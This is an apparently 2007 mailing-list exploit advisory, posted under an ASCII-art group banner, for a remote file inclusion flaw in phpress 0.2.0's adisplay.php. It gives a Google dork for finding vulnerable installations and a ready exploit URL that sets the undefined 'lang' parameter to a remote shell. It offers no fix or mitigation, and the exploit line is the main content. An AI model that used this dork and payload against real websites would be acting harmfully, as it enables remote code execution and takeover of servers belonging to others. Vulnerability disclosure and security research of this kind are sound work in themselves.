phpress 0.2.0 (adisplay.php) Remote File Inclusion

From: naxx <cerbelum(at)gmail.com>
Date: Wed Aug 22 2007 - 19:28:12 EDT

:::::::::::::::::::::::::::::::::::::::::::::::::::..................... 
..
::| \ | (_)          | \ | |                       / ____|
::|  \| |_  ___ ___  |  \| | __ _ _ __ ___   ___  | |     _ __  
_____      __

::| . ` | |/ __/ _ \ | . ` |/ _` | '_ ` _ \ / _ \ | | | '__/ _ \ \ /\ / /
::| |\ | | (_| __/ | |\ | (_| | | | | | | __/ | |____| | | __/\ V V /
::|_| \_|_|\___\___| |_| \_|\__,_|_| |_| |_|\___| \_____|_| \___| \_/\_/

:::::::::::::::::::::::::::::We got the nicest name in the security  

scene!

::::::::Info::.
::Script: phpress
::Version: 0.2.0
::Homepage:
http://sourceforge.net/projects/phpress/
::
:::::::::Details::.
::Type: Remote_File_Inclusion
::Dork: allinurl:/phpress/
::Exploit: 
http://host/phpress/adisplay.php?lang=shell
::
::
::Variable lang is not defined
::
::::::::::::::::::::::::::::::::.
:::::::::::Additional_Information::.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.
::Contact: cerbelum@gmail.com
::Website: none yet
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.

Received on Thu Aug 23 11:25:55 2007